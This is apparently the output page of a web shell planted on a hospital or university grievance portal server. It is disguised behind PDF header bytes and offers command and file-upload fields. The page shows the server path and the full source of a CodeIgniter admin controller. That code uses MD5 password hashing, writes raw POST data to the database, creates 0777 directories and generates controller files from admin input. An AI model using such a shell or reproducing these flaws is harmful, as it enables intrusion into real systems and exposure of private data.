%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/incident/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/incident/application/controllers/Advancesetting.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Advancesetting extends MY_Controller
{
	public function __construct()
    {
         parent::__construct();
		 $this->load->library('form_validation','session');
		 $this->load->Model(array('Common_model','Form_model'));
	}
	
	/*
	* Function: index
	*/
    public function index($page = 0)
    {
        $data = array();
        $head = array();
			if(@$_POST['submit']=='Submit') {
			
				$post = $this->input->post();
				$req = array('required'=>'%s required.', 'is_unique'=>'This %s is already registered', 'integer'=>'This %s is invalid');
				$this->form_validation->set_rules('fullname', 'Please Enter Full Name', 'required|min_length[4]|max_length[50]', $req);
				$this->form_validation->set_rules('email_id', 'Please Enter Your Email', 'required|valid_email', $req);
				$this->form_validation->set_rules('programmename', 'Please Enter Programme Name', 'required', $req);
				$this->form_validation->set_rules('academicyear', 'Please Enter Academic Year', 'required', $req);
				$this->form_validation->set_rules('system_id', 'Please Enter System ID', 'required', $req);
				$this->form_validation->set_rules('mobile_no', 'Please Enter Your Mobile Number ', 'required|regex_match[/^[0-9]{10}$/]', $req); //{10} for 10 digits number
									
				if ($this->form_validation->run() == FALSE) 
				{
					$data['error_array'] = $this->form_validation->error_array();
					$data['details'] = $_POST;
				} else {
					$response_id = $this->saveregistrationinfo($post);
					unset($_POST);
					$data['success_msg'] = 'Congratulations!, You have Successfully registered. We have send the login credentials to your registered email id and mobile number.';
				}
		}
		
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'New User Registration - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('registration', $data);
   		$this->load->view('_parts/footer');
	}
	
	/*
	* Function : configsetup
	*/
	public function configsetup()
	{
		$data = array();
        $head = array();
		
		$data['moduleArray'] = $this->Common_model->getAllRecords('module_list', '*', array('status'=>'1','is_deleted'=>'0','display_configsetup'=>'1'));		
		
		
		$arrSeo = $this->Public_model->getSeo('configsetup');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/new_header', $head);
		$this->load->view('configsetup', $data);
   		$this->load->view('_parts/new_empty_footer');	
		
	}
	/*
	* Function : department
	*/
	public function department()
	{
		$data = array();
        $head = array();
		
		$data['schoolArray'] = $this->Common_model->getAllRecords('su_schools', 'id,school_name', array('is_deleted'=>'0'));		
		
		$data['responseArray'] = $this->Common_model->getAllRecords('su_departments', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('department');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('department', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : viedepartment
	*/
	public function viedepartment()
	{
		$data = array();
        $head = array();
		$id = $_GET['id'];
		
		$data['schoolArray'] = $this->Common_model->getAllRecords('su_schools', 'id,school_name', array('is_deleted'=>'0'));		
		
		if($id>0) {
			$data['responseArray'] = $this->Common_model->getSingleRecord('su_departments', '*', array('is_deleted'=>'0','id'=>$id));	
		}		
		$arrSeo = $this->Public_model->getSeo('department');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('viedepartment', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : school
	*/
	public function school()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('su_schools', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('school');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('school', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : category
	*/
	public function category()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('category', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('category');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('category', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	/*
	* Function : category
	*/
	public function addcategory()
	{
		$data = array();
        $head = array();
		$cid = $_GET['cid'];

		if($cid>0){
			$data['responseArray'] = $this->Common_model->getSingleRecord('category', '*', array('is_deleted'=>'0', 'id'=>$cid));	
		}	
			if($_POST['submit']=='Submit')
			{
				unset($_POST['submit']);
				$_POST['updationDate'] = date('Y-m-d h:i:s');
				if($_GET['cid']>0){			
					$this->Common_model->updateinfo($tbl_name='category', $_POST, 'id', $_GET['cid']);
					redirect('advancesetting/category?msg=2');
				} else {
					unset($_POST['submit']);
					$_POST['creationDate'] = date('Y-m-d h:i:s');
					$_POST['is_deleted'] = '0';
					$_POST['status'] = '1';
					$resp = $this->Common_model->saveinfo('category',$_POST);
					redirect('advancesetting/category?msg=1');
				}
		}	
		
		$arrSeo = $this->Public_model->getSeo('category');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('addcategory', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : adddepartment
	*/
	public function adddepartment()
	{
		$data = array();
        $head = array();
		$id = $_GET['id'];
		$arrSeo = $this->Public_model->getSeo('department');
			
		if($_POST['submit']=='Submit')
		{
			unset($_POST['submit']);
			if($id>0){	
				$_POST['modifiedon'] = date('Y-m-d h:i:s');			
				$this->Common_model->updateinfo($tbl_name='su_departments', $_POST, 'id', $id);
				redirect('advancesetting/department?msg=2');
			} else {
				$_POST['createdon'] = date('Y-m-d h:i:s');
				$resp = $this->Common_model->saveinfo('su_departments',$_POST);
				redirect('advancesetting/department?msg=1');
			}
		}
		
		if($id>0){
			$data['responseArray'] = $this->Common_model->getSingleRecord('su_departments', '*', array('is_deleted'=>'0', 'id'=>$id));	
		}
		// Get School List
		$data['schoolArray'] = $this->Common_model->getAllRecords('su_schools', 'id,school_name', array('is_deleted'=>'0'));
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('adddepartment', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : addnewuser
	*/
	public function addnewuser()
	{
		$data = array();
        $head = array();
		$id = $_GET['uid'];
		$arrSeo = $this->Public_model->getSeo('department');
			
		if($_POST['submit']=='Submit')
		{
			unset($_POST['submit']);
			if($id>0){	
				$_POST['updationDate'] = date('Y-m-d h:i:s');		
				if($_POST['password']!='') { $_POST['password'] = md5($_POST['password']); } else { unset($_POST['password']); }
				
				$_POST['ngrievance_type'] = implode(',',$_POST['ngrievance_type']);
				$this->Common_model->updateinfo($tbl_name='admin', $_POST, 'id', $id);
				redirect('advancesetting/manageadminuser?msg=2');
			} else {
				$_POST['is_deleted'] = '0'; 
				$_POST['password'] = md5($_POST['password']); 
				$_POST['createdon'] = date('Y-m-d h:i:s');
				$_POST['ngrievance_type'] = implode(',',$_POST['ngrievance_type']);
				$resp = $this->Common_model->saveinfo('admin',$_POST);
				redirect('advancesetting/manageadminuser?msg=1');
			}
		}
		
		if($id>0){
			$data['responseArray'] = $responseArray = $this->Common_model->getSingleRecord('admin', '*', array('is_deleted'=>'0', 'id'=>$id));	
		}
			
		// Get Role List
		$data['roleArray'] = $this->Common_model->getAllRecords('assign_role', '*', array('status'=>'1','is_deleted'=>'0'));
		
		// Get School Array
		$data['schoolArray'] = $schoolArray = $this->Common_model->getAllRecords('su_schools', '*', array('is_display'=>'1','is_deleted'=>'0')); 	
		
		// Department Array
		$data['departmentArray'] = $this->Common_model->getAllRecords('su_departments', '*', array('status'=>'1','school_id'=>$responseArray['school_id'], 'is_deleted'=>'0'));
		
		// Get grievance Array
		$data['grievanceArray'] = $this->Common_model->getGrievanceList('grievance_type', 'id,grievance_name', array('status'=>'1', 'is_deleted'=>'0'));
		
		// Get Category
		$data['categoryArray'] = $this->Common_model->getAllRecords('category', 'id,categoryName', array('status'=>'1', 'is_deleted'=>'0'));
		
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Admin Users - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('addnewuser', $data);
   		$this->load->view('_parts/empty_no_footer');	
	
	}
	
	/*
	* Function : managegrievance
	*/
	public function managegrievance()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('grievance_type', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('managegrievance', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}	
	
	/*
	* Function : manageadminuser
	*/
	
	public function manageadminuser()
	{
		$data = array();
        $head = array();
		// Get Admin User List
		$data['responseArray'] = $this->Common_model->getAllRecords('admin', '*', array('is_deleted'=>'0'));		
		
		// Get User Role Array
		$data['roleArray'] = $this->Common_model->getAllRecords('assign_role', '*', array('is_deleted'=>'0'));		
		
		$data['departmentArray'] = $this->Common_model->getAllRecords('su_departments', '*', array('status'=>'1', 'is_deleted'=>'0'));
	
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Admin Users - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('manageadminuser', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : managerole
	*/
	public function managerole()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('assign_role', '*', array('is_deleted'=>'0'));	
		$data['moduleArray'] = $this->Common_model->getAllRecords('module_list', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance Role - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('managerole', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : adduserrole
	*/
	public function adduserrole()
	{
		$data = array();
        $head = array();
		$id = $_GET['uid'];
		$arrSeo = $this->Public_model->getSeo('adduserrole');
			
		if($_POST['submit']=='Submit')
		{
			unset($_POST['submit']);
			if($id>0){	
				$_POST['modifiedon'] = date('Y-m-d h:i:s');	
				$_POST['module_ids'] =  implode(',',$_POST['module_ids']);				
				$this->Common_model->updateinfo($tbl_name='assign_role', $_POST, 'role_id', $id);
				redirect('advancesetting/managerole?msg=2');
			} else {
				$_POST['is_deleted'] = '0'; 
				$_POST['createdon'] = date('Y-m-d h:i:s');
				$_POST['module_ids'] =  implode(',',$_POST['module_ids']);
				
				$resp = $this->Common_model->saveinfo('assign_role',$_POST);
				redirect('advancesetting/managerole?msg=1');
			}
		}
		
		if($id>0){
			$data['responseArray'] = $this->Common_model->getSingleRecord('assign_role', '*', array('is_deleted'=>'0', 'role_id'=>$id));	
		}
			
		// Get Role List
		$data['moduleArray'] = $this->Common_model->getAllRecords('module_list', '*', array('is_deleted'=>'0'));
		
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Admin Users - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('adduserrole', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : adminlogs
	*/
	public function adminlogs()
	{
		$data = array();
        $head = array();
		$condition = array('is_deleted'=>'0');
		if($_SESSION['id']>1){
			$condition = array('is_deleted'=>'0','uid'=>$_SESSION['id']);
		}
		$data['responseArray'] = $this->Common_model->getAllRecords('admin_history_log', '*', $condition,array('id'=>'DESC'),'50','0');		
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Admin Log - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('adminlogs', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : userlogs
	*/
	public function userlogs()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('userlog', '*', array('is_deleted'=>'0'),array('id'=>'DESC'),'50','0');		
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage User Log - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('userlogs', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : managemodule
	*/
	public function managemodule()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('module_list', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('home');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance Role - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('managemodule', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : addmodule
	*/
	public function addmodule()
	{
		$data = array();
        $head = array();
		$id = $_GET['mid'];
		$arrSeo = $this->Public_model->getSeo('addmodule');
			
		if($_POST['submit']=='Submit')
		{
			unset($_POST['submit']);
			$module_name = trim($_POST['module_name']);
			if($id>0){	
				$custom_form = $_POST['custom_form'];
				$_POST['modifiedon'] = date('Y-m-d h:i:s');		
				$this->Common_model->updateinfo($tbl_name='module_list', $_POST, 'id', $id);
				$msg='2';
			} else {
				$custom_form = $_POST['custom_form'];
				$_POST['is_deleted'] = '0'; 
				$_POST['createdon'] = date('Y-m-d h:i:s');
				$resp = $this->Common_model->saveinfo('module_list',$_POST);
				$msg='1';
				
			}
			
			if($custom_form>0) {
				$table = 'tbl_'.trim($module_name);
				$this->Form_model->createTableForPolicy($_POST , $table);
				$this->createnCopyFile($module_name);
				$folder=$this->createdirectory($module_name);
			}
			
			redirect('advancesetting/managemodule?msg='.$msg);
				
		}
		
		if($id>0){
			$data['responseArray'] = $this->Common_model->getSingleRecord('module_list', '*', array('is_deleted'=>'0', 'id'=>$id));	
		}
			
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Admin Module List - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('addmodule', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function: createdirectory
	*/
	private function createdirectory($directoryName) {
		$permit = 0777;

		//Check if the directory already exists.
		if (!is_dir('./application/views/' . $directoryName)) {

			//Directory does not exist, so lets create it.
			$old = umask(0);
			mkdir('./application/views/' . $directoryName, $permit);
			$fileOne = './application/views/custom/index.php';
			$newfileOne = './application/views/'.$directoryName.'/index.php';
			if (!copy($fileOne, $newfileOne)) {
				echo "failed to copy 1st view file";
			}
			
			$fileTwo = './application/views/custom/add_record.php';
			$newfileTwo = './application/views/'.$directoryName.'/add_record.php';

			if (!copy($fileTwo, $newfileTwo)) {
				echo "failed to copy Second View file";
			}
			$newFileName = ucwords($directoryName);
			$fileCOne = './application/controllers/Custom.php';
			$newfileCOne = './application/controllers/'.$newFileName.'.php';

			if (!copy($fileCOne, $newfileCOne)) {
				echo "failed to copy Controller file";
			}
			chmod($newfileCOne, 0777);
			
			//read the entire string
			$str=file_get_contents($newfileCOne);

			//replace something in the file string - this is a VERY simple example
			$str=str_replace("Custom", $newFileName,$str);

			//write the entire string
			file_put_contents($newfileCOne, $str);
			umask($old);
		}
	}
	
	
	/*
		* Function: createnCopyFile
	*/
	private function createnCopyFile($directoryName) {
		$permit = 0777;

		//Check if the directory already exists.
		if (!is_dir('./attachments/' . $directoryName)) {

			//Directory does not exist, so lets create it.
			$old = umask(0);
			mkdir('./attachments/' . $directoryName, $permit);
			umask($old);

		}
	}
	
	/*
	* Function : viewgrievance
	*/
	public function viewgrievance()
	{
		$data = array();
        $head = array();
		$gid = $_GET['gid'];
		if($gid>0){
			$data['responseArray'] = $this->Common_model->getSingleRecord('grievance_type', '*', array('is_deleted'=>'0', 'id'=>$gid));	
		}	
        if($_POST['submit']=='Submit')
		{
			unset($_POST['submit']);
			$_POST['updationDate'] = date('Y-m-d h:i:s');
			if($_GET['gid']>0){			
			$this->Common_model->updateinfo($tbl_name='grievance_type', $_POST, 'id', $_GET['gid']);
			redirect('advancesetting/managegrievance?msg=2');
			} else {
				unset($_POST['submit']);
				$_POST['creationDate'] = date('Y-m-d h:i:s');
				$_POST['is_deleted'] = '0';
				$_POST['status'] = '1';
				$resp = $this->Common_model->saveinfo('grievance_type',$_POST);
				redirect('advancesetting/managegrievance?msg=1');
			}
		}		
		$arrSeo = $this->Public_model->getSeo('home');
		
		$data['departmentArray'] = $this->Common_model->getAllRecords('su_departments','id,name',array('status'=>'1','is_deleted'=>'0','is_display'=>'1'));
	//	$data['departmentArray'] = $this->Common_model->getAllRecords('su_departments','id,name',array('status'=>'1','is_deleted'=>'0','department_type'=>'2'));
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('viewgrievance', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}
	
	/*
	* Function : ajaxgetdepartmentrecord
	*/
	public function ajaxgetdepartmentrecord()
	{
		if($_POST['school_id']>0)
		{
			$data_progremmes = $this->Common_model->getAllRecords('su_departments','*',array('school_id'=>$_POST['school_id'],'is_deleted'=>'0','status'=>'1'));
			$response = array();
			if(count($data_progremmes)>0){
				foreach($data_progremmes as $programe)
				{
					$response[$programe['id']] = $programe['name'];
				}
			} 
			header('Content-type: application/json');
			echo json_encode($response);
		}
		die;
	}
	
	/*
	* Function : ajaxgetcategoryrecord
	*/
	public function ajaxgetcategoryrecord()
	{
		if($_POST['category']!='')
		{
			$data_grievanc = $this->Common_model->getAllRecords('grievance_type','id,grievance_name',array('category'=>$_POST['category'],'is_deleted'=>'0','status'=>'1'));
			$response = array();
			if(count($data_grievanc)>0){
				foreach($data_grievanc as $row)
				{
					$response[$row['id']] = $row['grievance_name'];
				}
			} 
			header('Content-type: application/json');
			echo json_encode($response);
		}
		die;
	}
	
		
	/*
	* Function : feedback
	*/
	public function feedback()
	{
		$data = array();
        $head = array();
		
		$data['responseArray'] = $this->Common_model->getAllRecords('complaints_feedback', '*', array('is_deleted'=>'0'));		
		$arrSeo = $this->Public_model->getSeo('feedback');
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Feedback/Suggestion Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('feedback', $data);
   		$this->load->view('_parts/empty_no_footer');	
	}

	public function addschool()
	{
		$data = array();
        $head = array();
		$id = $_GET['id'];
		$arrSeo = $this->Public_model->getSeo('school');
			
		if($_POST['submit']=='Submit')
		{
			unset($_POST['submit']);
			if($id>0){	
				$_POST['modifiedon'] = date('Y-m-d h:i:s');			
				$this->Common_model->updateinfo($tbl_name='su_schools', $_POST, 'id', $id);
				redirect('advancesetting/school?msg=2');
			} else {
				$_POST['createdon'] = date('Y-m-d h:i:s');
				$resp = $this->Common_model->saveinfo('su_schools',$_POST);
				redirect('advancesetting/school?msg=1');
			}
		}
		
		if($id>0){
			$data['responseArray'] = $this->Common_model->getSingleRecord('su_schools', '*', array('is_deleted'=>'0', 'id'=>$id));	
		}
		// Get School List
		$data['schoolArray'] = $this->Common_model->getAllRecords('su_schools', 'id,school_name', array('is_deleted'=>'0'));
        $head['title'] = @$arrSeo['title']!=''? $arrSeo['title'] : 'Manage Grievance - Sharda Grievance Portal';
        $head['description'] = @$arrSeo['description'];
        $head['keywords'] = str_replace(" ", ",", $head['title']);
		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('addschool', $data);
   		$this->load->view('_parts/empty_no_footer');	
		
	}

	/*
	* Function: addcustomform
	*/
	public function addcustomform($uid='')
	{
		$data = array();
		$header = array();
		
		// Get Module Name from Module Id
		
		$recordArray = $this->Common_model->getSingleRecord('module_list', '*', array('id'=>$uid));	
		$data['recordArray'] = $recordArray;
		$data['tbl_name'] = 'tbl_'.$recordArray['module_name'];

		$this->load->view('_parts/empty_adminheader', $head);
		$this->load->view('addform',$data);
		$this->load->view('_parts/empty_no_footer');	
		//$this->load->view('admin/_parts/footer');
		//setHistory('Go to Add/Edit module page');
	}
	
	/*
	* Function: addSubproductsForm
	*/
	public function addSubproductsForm() {
		//set data
		//print_r($_POST); die;
		$data = ['form_data' => $_POST['formData'], 'createdon' => date('Y-m-d G:i:s'), 'table' => $_POST['table_name'], 'submodule_id' => $_POST['submodule_id'], 'edit' => $_POST['form_id'], 'sub_table' => 'module_list'];
		$response = $this->Form_model->setFormForSubproducts($data);
		echo json_encode($response);
	}

	public function getSubproductsForm() {
		//cek_login();
		//set data
		echo json_encode($this->Form_model->getFormForSubModule($_POST['formId']));

	}
	
 }

Kontol Shell Bypass